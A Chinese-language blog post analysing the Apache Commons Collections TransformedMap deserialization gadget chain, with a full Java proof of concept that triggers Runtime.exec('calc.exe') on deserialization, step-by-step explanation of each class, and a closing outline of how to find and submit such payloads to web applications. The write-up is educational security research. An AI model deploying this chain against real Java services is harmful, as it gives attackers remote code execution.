Apache Common-collection 反序列化利用链解析--TransformedMap链
Apache Common-collection 反序列化利用链解析
TransformedMap链
参考Java反序列化漏洞分析 - ssooking - 博客园 (cnblogs.com)
poc
package com.company;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class PocTest {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers_exec);
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
利用链原理分析
首先我们来看Transformer类。其中transform方法可以看作将一个对象转换为另一个对象。

我们看看有哪些方法实现了Transformer接口。ctrl+H查找一下

我们一个个步入看一下。
首先先来看InvokerTransformer.
这个类还实现了Serializable接口,说明其能够进行序列化。


再来看一下 ConstantTransformer类,构造函数接受参数,没什么特别的。

再来看一下ChainedTransformer

通过InvokerTransformer, ConstantTransformer,ChainedTransformer这三个类我们可以推出一条基础的利用链。
我们来看看poc前半部分,注释为ChainedTransformer调用transform方法的结果
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),//第一次transform,输入为Runtime.class,返回结果为Runtime.class
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),//第二次transform,输入为Runtime.class,返回为Method对象getRuntime。
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),//第三次transform,输入为Method对象getRuntime,返回是Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};//最后一次transform,即runtime.exec("calc.exe"),弹出计算器
Transformer chain = new ChainedTransformer(transformers_exec);//将数组转换成链
这里之前有疑惑,为什么需要调用invoke方法。将这行注释掉之后,会发现报错。

才发现getMethod返回的对象是Method对象,不能直接调用exec,才需要invoke。这里后续需要去仔细查看一下method.invoke方法。
接下来会碰到TransformedMap这个类,调用decorate这个函数,会调用这个构造函数,将参数保存到对象中。
Map类 --> TransformedMap
Map类是存储键值对的数据结构。 Apache Commons Collections中实现了TransformedMap ,该类可以在一个元素被添加/删除/或是被修改时(即key或value:集合中的数据存储形式即是一个索引对应一个值,就像身份证与人的关系那样),会调用transform方法自动进行特定的修饰变换,具体的变换逻辑由Transformer类定义。也就是说,TransformedMap类中的数据发生改变时,可以自动对进行一些特殊的变换,比如在数据被修改时,把它改回来; 或者在数据改变时,进行一些我们提前设定好的操作。
至于会进行怎样的操作或变换,这是由我们提前设定的,这个叫做transform。


接着分析poc
HashMap innerMap = new HashMap();
innerMap.put("value","asdf");
Map outerMap = TransformedMap.decorate(innerMap,null,chain);//这里创建了Map对象,并将序列化链保存到了outerMap的valueTransformer中,当value被更改时,便会触发TransformedMap的transformValue方法从而触发chain的transform方法,完成代码执行。
到了这一步,我们需要调用map的SetValue函数,才能触发transform。那么反序列化中readobject如何调用这个函数呢?
看看sun.reflect.annotation.AnnotationInvocationHandler。
这个类的构造函数正好接受了一个Map对象。

再看看readobject方法

看看poc,接下来就是传入含有恶意代码的map,实例化AnnotationInvocationHandler类。并对其进行序列化,反序列化。
// 通过反射机制实例化AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);//获取参数为class和map的构造函数
cons.setAccessible(true);//取消安全访问机制,可以使用private函数
Object ins = cons.newInstance(java.lang.annotation.Target.class,outerMap);//使用构造函数
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
总结一下,本条链的思路:
首先本质是使用反射来实现方法的执行,即InvokerTransformer类。然后由于runtime.exec()方法只使用一次InvokerTransformer无法完成调用,便考虑配合ConstantTransformer与ChainedTransformer构造方法执行链。完成方法执行链的构造后,我们需要想办法触发这条链。此时便找到了TransformedMap,当修改TransformedMap对象的映射内容时,会自动调用transform方法。将chain保存到TransformedMap对象的Value中。最后,思考如何使用readobject调用setvalue方法改变value值,发现AnnotationInvocationHandler正好符合要求。便将其作为对象,TransformedMap对象作为参数进行实例化。而后进行序列化,反序列化即可。
反序列化时的调用流程: readobject() --> setValue() --> transform() 调用方法执行链实现代码
漏洞利用
1.漏洞触发场景 在java编写的web应用与web服务器间java通常会发送大量的序列化对象例如以下场景:
1)HTTP请求中的参数,cookies以及Parameters。
2)RMI协议,被广泛使用的RMI协议完全基于序列化
3)JMX 同样用于处理序列化对象
4)自定义协议 用来接收与发送原始的java对象
2. 漏洞挖掘
(1)确定反序列化输入点
首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等 注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
(2)再考察应用的Class Path中是否包含Apache Commons Collections库
(3)生成反序列化的payload
(4)提交我们的payload数据
Apache Common-collection 反序列化利用链解析--TransformedMap链的更多相关文章
- Common lang一些边界方法总结(好记性不如烂笔头,需要慢慢积累).一定要利用好现有的轮子,例如Apache common与Google Guava
好记性真是不如烂笔头啊!!!! 如下代码: List<String> list = new ArrayList<String>(); list.add("1" ...
- CommonsCollections1 反序列化利用链分析
InvokerTransformer 首先来看 commons-collections-3.1-sources.jar!\org\apache\commons\collections\functors ...
- WEB文件上传之apache common upload使用(一)
文件上传一个经常用到的功能,它有许多中实现的方案. 页面表单 + RFC1897规范 + http协议上传 页面控件(flash/html5/activeX/applet) + RFC1897规范 + ...
- 【CVE-2020-1948】Apache Dubbo Provider反序列化漏洞复现
一.实验简介 实验所属系列: 系统安全 实验对象:本科/专科信息安全专业 相关课程及专业: 计算机网络 实验时数(学分):2 学时 实验类别: 实践实验类 二.实验目的 Apache Dubbo是一款 ...
- Apache Common DbUtils
前段时间使用了Apache Common DbUtils这个工具,在此留个印,以备不时查看.大家都知道现在市面上的数据库访问层的框架很多,当然很多都是包含了OR-Mapping工作步骤的 例如大家常用 ...
- org.apache.common.io-FileUtils详解
org.apache.common.io---FileUtils详解 getTempDirectoryPath():返回临时目录路径; public static String getTempDire ...
- python爬虫:利用BeautifulSoup爬取链家深圳二手房首页的详细信息
1.问题描述: 爬取链家深圳二手房的详细信息,并将爬取的数据存储到Excel表 2.思路分析: 发送请求--获取数据--解析数据--存储数据 1.目标网址:https://sz.lianjia.com ...
- 25. Apache Shiro Java反序列化漏洞
前言: 最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞, ...
- [转帖]深度解析区块链POW和POS的区别
深度解析区块链POW和POS的区别 Proof of Work 还有Proof of Stake 之前理解程了 state ... 股权的意思 还有 delegated proof of Stake ...
随机推荐
- Spring笔记(3)
一.JDBC Template基本使用 1.开发步骤 1.1直接使用template 导入spring-jdbc和spring-tx坐标 <!-- JDBC--> <dependen ...
- vue 输入框禁止输入空格 ,只能输入数字,禁止输入数字
正则表达式: @input="form.userName = form.userName.replace(/\s+/g,'')" ( 禁止输入空格) @input=&q ...
- 只需3步,快来用AI预测你爱的球队下一场能赢吗?
摘要:作为球迷,我们有时候希望自己拥有预测未来的能力. 本文分享自华为云社区<用 AI 预测球赛结果只需三步,看看你爱的球队下一场能赢吗?>,作者:HWCloudAI. 还记得今年夏天的欧 ...
- Vue获取Abp VNext Token
Abp VNext默认没公开访问Token的Api,但有个问题Cookie方式如果是手机或桌面程序不如Token方便 Axios默认是Json方式提交,abp登录需要使用application/x-w ...
- Java入门准备:Java开发环境的安装与卸载
Java的三大版本 JavaSE:标准版 JavaME:嵌入式开发 JavaEE:企业级开发 JDK(Java Development Kit):Java开发者工具包 JRE(Java Runtime ...
- 第七章:网络优化与正则化(Part2)
文章相关 1 第七章:网络优化与正则化(Part1) 2 第七章:网络优化与正则化(Part2) 7.3 参数初始化 神经网络的参数学习是一个非凸优化问题.当使用梯度下降法来进行优化网络参数时,参数初 ...
- 动态规划精讲(一)LC 最长递增子序列的个数
最长递增子序列的个数 给定一个未排序的整数数组,找到最长递增子序列的个数. 示例 1: 输入: [1,3,5,4,7]输出: 2解释: 有两个最长递增子序列,分别是 [1, 3, 4, 7] 和[1, ...
- javascript 定时器 timer setTimeout setInterval (js for循环如何等待几秒再循环)
实现一个打点计时器,要求1.从 start 到 end(包含 start 和 end),每隔 100 毫秒 console.log 一个数字,每次数字增幅为 12.返回的对象中需要包含一个 cance ...
- navicat导出DDL语句
工作中有的时候需要将某个库中的表.视图.函数.存储过程等创建语句导出,又不需要表中的数据. 方法一:需要拷贝的创建语句条数不多,可以选择直接拷贝DDL语句 方法二:使用Navicat的备份功能
- layui 添加复选框checkbox后,无法正确显示及点击的方法
layui 添加复选框checkbox后,无法正确显示方式,这个是由于html里的样式添加 layui-form后,没有加载 form插件 ,具体如下: <body style="ba ...